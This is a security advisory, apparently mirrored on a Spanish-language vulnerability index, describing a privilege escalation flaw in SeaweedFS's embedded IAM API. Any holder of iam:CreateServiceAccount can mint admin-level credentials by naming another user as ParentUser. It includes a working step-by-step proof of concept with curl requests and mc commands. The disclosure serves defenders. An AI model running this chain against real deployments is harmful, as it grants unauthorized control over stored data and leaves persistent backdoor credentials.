GHSA-F6RH-HW92-H9RX
iam:CreateServiceAccount accepts arbitrary ParentUser - one IAM grant mints credentials that authenticate as any user, including admin
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-F6RH-HW92-H9RX divulgada · CVSS 9.6 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
An improper access-control flaw in the embedded IAM API of the SeaweedFS S3 gateway lets any S3 user granted the single action iam:CreateServiceAccount mint a service account for ANY existing identity by supplying ParentUser=<victim> in the request. The server creates a new access/secret key pair attached to that parent, and the resulting credential authenticates with the full permissions of the parent user. This escalates a narrowly-granted, self-service-looking IAM permission into cluster-wide S3 admin, with a persistent extra credential.Details
Three code facts combine (all verified on 4.45):
1. The handler trusts the request-supplied parent. weed/s3api/s3api_embedded_iam.go:1732-1852 - CreateServiceAccount reads parentUser := values.Get("ParentUser") (line 1734, fully client-controlled) and only verifies the named user exists (lines 1750-1754). It never compares ParentUser against the authenticated caller's identity. The new service account copies the parent's actions (lines 1813-1815, 1826) and returns the new secret key in the response (line 1842).
2. Authorization never binds the target. weed/s3api/s3api_embedded_iam.go:2487-2500 - AuthorizeIamAction allows the call if the caller isAdmin() OR holds iam:CreateServiceAccount on arn:aws:iam:::*. The self-service carve-out (line 2493) compares targetUserName with the caller - but CreateServiceAccount is not in iamSelfServiceActions (lines 2464-2470) and its target parameter is named ParentUser, not UserName, so the caller-vs-target check is never applied to this action at all.
3. The minted credential acts as the parent. weed/s3api/auth_credentials.go:890-904 - when the IAM config is loaded, a service account's credential is mapped directly onto the parent identity:
parentIdent, ok := nameToIdentity[sa.ParentUser]
...
parentIdent.Credentials = append(parentIdent.Credentials, cred)
accessKeyIdent[sa.Credential.AccessKey] = parentIdent // ← authenticates AS the parent
Requests signed with the service-account key are therefore authorized with the parent's identity and actions - not the creator's, and not a reduced set.
Contrast with the intended design: CreateAccessKey (the analogous AWS operation) is explicitly restricted so a non-admin can only target themselves (targetUserName == "" || targetUserName == identity.Name, line 2493). CreateServiceAccount has no equivalent binding - that asymmetry is the defect.
Distinct from GHSA-jw56-gm6j-34mp: that advisory affects the deprecated standalone "weed iam" server (port 8111, affected <= 4.40) via a policy-evaluator wildcard resolution issue. This issue is in the current embedded IAM API of the S3 gateway (port 8333), persists in 4.45, has a different root cause (unbound ParentUser in CreateServiceAccount, not wildcard ARN matching), and requires only the narrow iam:CreateServiceAccount grant rather than s3:*.PoC
Live-reproduced on SeaweedFS 4.45 built from source (default configuration, -s3.iam.readOnly=false):
Step 1 - configuration file `/data/s3.json` (an admin identity plus a least-privilege user `dev` whose only action is `iam:CreateServiceAccount` — a normal grant for CI/CD):
{
"identities": [
{
"name": "admin",
"actions": ["Admin"],
"credentials": [
{ "accessKey": "admin_key_1", "secretKey": "admin_super_secret_123456" }
]
},
{
"name": "dev",
"actions": ["iam:CreateServiceAccount"],
"credentials": [
{ "accessKey": "dev_key_1", "secretKey": "dev_secret_123456" }
]
}
]
}Step 2 - start the S3 gateway with embedded IAM:
weed server -dir=/data -master.port=9333 -volume.port=8080 -filer -s3 -s3.port=8333 -s3.iam.readOnly=false -s3.config=/data/s3.jsonStep 3 - as admin, create a dynamic user `dynadmin` with full admin policy (dynamic users make the chain reproducible end-to-end). Each request below is SigV4-signed with the admin credential (service `iam`, region `us-east-1`):
curl -s -X POST "http://localhost:8333/?Action=CreateUser&Version=2010-05-08" --data-urlencode "Action=CreateUser" --data-urlencode "Version=2010-05-08" --data-urlencode "UserName=dynadmin" -H "Authorization: <SigV4 with admin_key_1>" -H "x-amz-date: <date>" -H "x-amz-content-sha256: <hash>"
curl -s -X POST "http://localhost:8333/?Action=CreateAccessKey&Version=2010-05-08" --data-urlencode "Action=CreateAccessKey" --data-urlencode "Version=2010-05-08" --data-urlencode "UserName=dynadmin" -H "Authorization: <SigV4 with admin_key_1>" -H "x-amz-date: <date>" -H "x-amz-content-sha256: <hash>"
curl -s -X POST "http://localhost:8333/?Action=PutUserPolicy&Version=2010-05-08" --data-urlencode "Action=PutUserPolicy" --data-urlencode "Version=2010-05-08" --data-urlencode "UserName=dynadmin" --data-urlencode "PolicyName=admin-all" --data-urlencode 'PolicyDocument={"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["*"],"Resource":["*"]}]}' -H "Authorization: <SigV4 with admin_key_1>" -H "x-amz-date: <date>" -H "x-amz-content-sha256: <hash>"Step 4 - as `dev` (only `iam:CreateServiceAccount`), mint a service account for `dynadmin`. SigV4-signed with the `dev` credential (service `iam`); note the `Action` parameter must be in the POST body — the handler reads `r.PostForm`:
curl -s -X POST "http://localhost:8333/?Version=2010-05-08" --data-urlencode "Action=CreateServiceAccount" --data-urlencode "Version=2010-05-08" --data-urlencode "ParentUser=dynadmin" --data-urlencode "Description=escalation" -H "Authorization: <SigV4 with dev_key_1>" -H "x-amz-date: <date>" -H "x-amz-content-sha256: <hash>"Actual result (HTTP 200):
<CreateServiceAccountResponse>
<AccessKeyId>ABIA...</AccessKeyId>
<SecretAccessKey>...</SecretAccessKey>
<ParentUser>dynadmin</ParentUser>
</CreateServiceAccountResponse>Expected: `AccessDenied` - `dev` may only create service accounts for itself.
Step 5 - use the minted key (the in-process reload happens automatically):
mc alias set esc http://localhost:8333 <SA_access_key> <SA_secret_key>
mc ls esc/
mc mb esc/escalated
Observed on 4.45: step 3 returned HTTP 200 with a minted key; step 4's
ListBuckets returned HTTP 200 with <Owner><ID> = the parent user - direct proof
the credential authenticates AS the parent. Note: service accounts whose parent
is a static identity from s3.json are skipped at key-use time
(auth_credentials.go:1167-1170); use a dynamic (IAM-created) parent for the
full chain.Impact
- Who is impacted: every deployment that uses the embedded IAM and grants iam:CreateServiceAccount to non-admin users (a normal, least-privilege-looking grant for CI/CD or service-account self-management).
- What kind of vulnerability: CWE-269 (Improper Privilege Management) + CWE-284 (Improper Access Control). Privilege escalation from a normal S3 user to administrative capability.
- Consequence: full control of the object store (all buckets/objects of all identities), ability to create further users/service accounts, and persistence - the minted credential remains valid even after the original grant is revoked.
- Not fixable by configuration short of never granting the action to anyone.Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-f6rh-hw92-h9rxLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
